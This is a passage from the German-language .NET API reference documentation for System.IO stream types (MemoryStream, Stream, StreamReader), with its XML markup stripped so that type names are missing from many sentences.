Datenstream ein ungültiges Format hat. + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + + + Initialisiert eine neue Instanz der -Klasse mit einem Verweis auf die innere Ausnahme, die die Ausnahme ausgelöst hat. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Erstellt einen Stream, der den Arbeitsspeicher als Sicherungsspeicher verwendet.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit 0 (null) initialisiert wurde. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem der aktuelle Stream erstellt werden soll. + + ist null. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wird. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + + Initialisiert anhand des angegebenen Bereichs (Indexes) eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + + ist null. + + oder ist kleiner als 0. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert anhand des angegebenen Bereichs eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wurde. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , bei dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse auf der Grundlage des angegebenen Bereichs eines Bytearrays, wobei die -Eigenschaft und die Möglichkeit zum Aufruf von wie angegeben festgelegt werden. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + true, um zu aktivieren, wodurch das Array vorzeichenloser Bytes zurückgegeben wird, aus dem der Stream erstellt wurde, andernfalls false. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit dem angegebenen Wert initialisiert wird. + Die Anfangsgröße des internen Arrays in Bytes. + + ist negativ. + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 2 + + + Ruft die Anzahl der für diesen Stream reservierten Bytes ab oder legt diese fest. + Die Länge des Bereichs, der für den Stream im Puffer verwendet werden kann. + Es wurde eine Kapazität festgelegt, die negativ oder kleiner als die derzeitige Länge des Streams ist. + Der aktuelle Stream ist geschlossen. + set wird für einen Stream aufgerufen, dessen Kapazität nicht geändert werden kann. + 2 + + + Liest alle Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein. + Das Token zum überwachen von Abbruchanforderungen . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Überschreibt die -Methode, sodass keine Aktion durchgeführt wird. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen . + Der Stream wurde freigegeben. + + + Ruft die Länge des Streams in Bytes ab. + Die Länge des Streams in Bytes. + Der Stream ist geschlossen. + 2 + + + Ruft die aktuelle Position im Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + Die Position ist auf einen negativen Wert oder einen größeren Wert als festgelegt. + Der Stream ist geschlossen. + 2 + + + Liest einen Byteblock aus dem aktuellen Stream und schreibt die Daten in einen Puffer. + Die Gesamtanzahl der in den Puffer geschriebenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder null, wenn das Ende des Streams erreicht ist, bevor mindestens ein Byte gelesen wurde. + Enthält nach dem Beenden dieser Methode das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus dem aktuellen Stream gelesene Zeichen ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die Daten aus dem aktuellen Stream gespeichert werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + + subtrahiert von der Pufferlänge ist kleiner als . + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem aktuellen Stream. + Das Byte, das in umgewandelt wurde, oder -1, wenn das Ende des Streams erreicht wurde. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Position im aktuellen Stream auf den angegebenen Wert fest. + Die neue Position im Stream, die durch Kombinieren des anfänglichen Verweispunktes und des Offsets berechnet wird. + Die neue Position innerhalb des Streams.Diese ist relativ zum -Parameter und kann positiv oder negativ sein. + Ein Wert vom Typ , der den Bezugspunkt für die Suche darstellt. + Es wurde versucht, eine Suche vor dem Anfang des Streams auszuführen. + + ist größer als . + Ein ist ungültig. - oder - hat einen arithmetischen Überlauf verursacht. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Länge des aktuellen Streams auf den angegebenen Wert fest. + Der Wert, auf den die Länge festgelegt werden soll. + Die Größe des aktuellen Streams kann nicht geändert werden, und übersteigt die aktuelle Kapazität.- oder - Der aktuelle Stream unterstützt keine Schreibvorgänge. + + ist negativ oder größer als die maximale Länge von , wobei die maximale Länge ( - Ursprung) ist, und der Ursprung der Index des zugrunde liegenden Puffers ist, an dem der Stream beginnt. + 2 + + + Schreibt den Inhalt des Streams in ein Bytearray, unabhängig von der -Eigenschaft. + Ein neues Bytearray. + 2 + + + Gibt das Array vorzeichenloser Bytes zurück, aus dem dieser Stream erstellt wurde.Der Rückgabewert gibt an, ob die Konvertierung erfolgreich abgeschlossen wurde. + true, wenn die Konvertierung erfolgreich war, andernfalls false. + Das Bytearraysegment, aus dem der Stream erstellt wurde. + + + Schreibt einen Byteblock mit den aus einem Puffer gelesenen Daten in den aktuellen Stream. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Der Abstand der aktuellen Position zum Ende des Streams beträgt weniger als Bytes, und die Kapazität kann nicht geändert werden. + + subtrahiert von der Pufferlänge ist kleiner als . + + oder ist negativ. + E/A-Fehler. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuelle Position im aktuellen Stream. + Das zu schreibende Byte. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Die aktuelle Position befindet sich am Ende des Streams, und die Kapazität kann nicht geändert werden. + Der aktuelle Stream ist geschlossen. + 2 + + + Schreibt den gesamten Inhalt dieses Arbeitsspeicherstreams in einen anderen Stream. + Der Stream, in den dieser Arbeitsspeicherstream geschrieben werden soll. + + ist null. + Der aktuelle Stream oder der Zielstream ist geschlossen. + 2 + + + Gibt die Position in einem Stream an, der für die Suche verwendet werden soll. + 2 + + + Gibt den Anfang eines Streams an. + + + Gibt die aktuelle Position innerhalb eines Streams an. + + + Gibt das Ende eines Streams an. + + + Stellt eine allgemeine Ansicht einer Folge von Bytes bereit.Dies ist eine abstrakte Klasse.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream Lesevorgänge unterstützt, andernfalls false. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream Suchvorgänge unterstützt, andernfalls false. + 1 + + + Ruft einen Wert ab, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + Ein Wert, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + 2 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 1 + + + Liest alle Bytes aus dem aktuellen Stream und schreibt sie in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest alles Bytes aus dem aktuellen Datenstrom und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Puffers.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt alle vom verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht beim Überschreiben in einer abgeleiteten Klasse alle Puffer für diesen Stream und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + E/A-Fehler. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Löscht alle Puffer für diesen Stream asynchron, veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + Der Stream wurde freigegeben. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Länge des Streams in Bytes ab. + Ein Long-Wert, der die Länge des Streams in Bytes darstellt. + Eine aus Stream abgeleitete Klasse unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Ein Stream ohne Sicherungsspeicher. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes aus dem aktuellen Stream und erhöht die Position im Stream um die Anzahl der gelesenen Bytes. + Die Gesamtanzahl der in den Puffer gelesenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder 0, wenn das Ende des Streams erreicht ist. + Ein Bytearray.Nach dem Beenden dieser Methode enthält der Puffer das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus der aktuellen Quelle gelesene Bytes ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die aus dem aktuellen Stream gelesenen Daten gespeichert werden. + Die maximale Anzahl an Bytes, die aus dem aktuellen Stream gelesen werden sollen. + Die Summe aus und ist größer als die Pufferlänge. + + ist null. + + oder ist negativ. + E/A-Fehler. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest eine Bytesequenz asynchron aus dem aktuellen Stream und setzt die Position in diesem Stream um die Anzahl der gelesenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem Stream und erhöht die Position im Stream um ein Byte, oder gibt -1 zurück, wenn das Ende des Streams erreicht ist. + Das Byte ohne Vorzeichen, umgewandelt in Int32, oder -1, wenn das Ende des Streams erreicht ist. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream fest. + Die neue Position innerhalb des aktuellen Streams. + Ein Byteoffset relativ zum -Parameter. + Ein Wert vom Typ , der den Bezugspunkt angibt, von dem aus die neue Position ermittelt wird. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Länge des aktuellen Streams fest. + Die gewünschte Länge des aktuellen Streams in Bytes. + E/A-Fehler. + Der Stream unterstützt nicht sowohl Lese- als auch Schreibvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes. + Ein Bytearray.Diese Methode kopiert Bytes aus dem in den aktuellen Stream. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die Anzahl an Bytes, die in den aktuellen Stream geschrieben werden sollen. + Die Summe der  und  ist größer als die Länge des Puffers. + + ist null. + + oder  ist negativ. + E/a-Fehler, wie z. B. die angegebene Datei nicht gefunden werden kann. + Der Stream unterstützt das Schreiben nicht. + + wurde aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Schreibt eine Bytesequenz asynchron in den aktuellen Stream und setzt die aktuelle Position in diesem Stream um die Anzahl der geschriebenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuellen Position im Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das Byte, das in den Stream geschrieben werden soll. + E/A-Fehler. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Implementiert einen , der Zeichen aus einem Bytestream in einer bestimmten Codierung liest.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Der zu lesende Stream. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und mit der angegebenen Zeichencodierung. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung und Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung, Option zur Erkennung der Bytereihenfolgemarken und Puffergröße. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + Die Mindestgröße des Puffers. + Lesevorgänge werden vom Stream nicht unterstützt. + + oder ist null. + + ist kleiner oder gleich 0 (null). + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream auf Grundlage der angegebenen Zeichencodierung, der Option zur Erkennung der Bytereihenfolgenmarken, der Puffergröße und lässt optional den Stream geöffnet. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + true, um am Anfang der Datei nach Bytereihenfolgemarken zu suchen, andernfalls false. + Die Mindestgröße des Puffers. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + + Gibt den zugrunde liegenden Stream zurück. + Der zugrunde liegende Stream. + 2 + + + Ruft die aktuelle Zeichencodierung ab, die das aktuelle -Objekt verwendet. + Die durch das aktuelle Leseprogramm verwendete aktuelle Zeichencodierung.Der Wert kann sich nach dem ersten Aufruf einer -Methode von ändern, da die automatische Erkennung der Codierung erst nach dem ersten Aufruf einer -Methode erfolgt. + 2 + + + Löscht den internen Puffer. + 2 + + + Schließt den zugrunde liegenden Stream und gibt die vom verwendeten nicht verwalteten Ressourcen sowie optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft einen Wert ab, der angibt, ob sich die aktuelle Streamposition am Ende des Streams befindet. + true, wenn sich die aktuelle Streamposition am Ende des Streams befindet, andernfalls false. + Der zugrunde liegende Stream wurde verworfen. + 1 + + + Ein -Objekt um einen leeren Stream. + 1 + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder -1, wenn keine zu lesenden Zeichen vorhanden sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Eingabestream und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Eingabestream wird als -Objekt dargestellt, oder -1, wenn keine weiteren Zeichen verfügbar sind. + E/A-Fehler. + 1 + + + Liest vom aktuellen Stream ein angegebenes Maximum von Zeichen in einen Puffer ein und beginnt dabei am angegebenen Index. + Die Anzahl der gelesenen Zeichen, bzw. 0 (null), wenn das Ende des Streams erreicht ist und keine Daten gelesen wurden.Die Anzahl ist gleich dem -Parameter oder kleiner, abhängig davon, ob die Daten im Stream verfügbar sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Index von , bei dem mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + Es ist ein E/A-Fehler aufgetreten, beispielsweise das Schließen eines Streams. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + Ein E/A-Fehler ist aufgetreten. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + 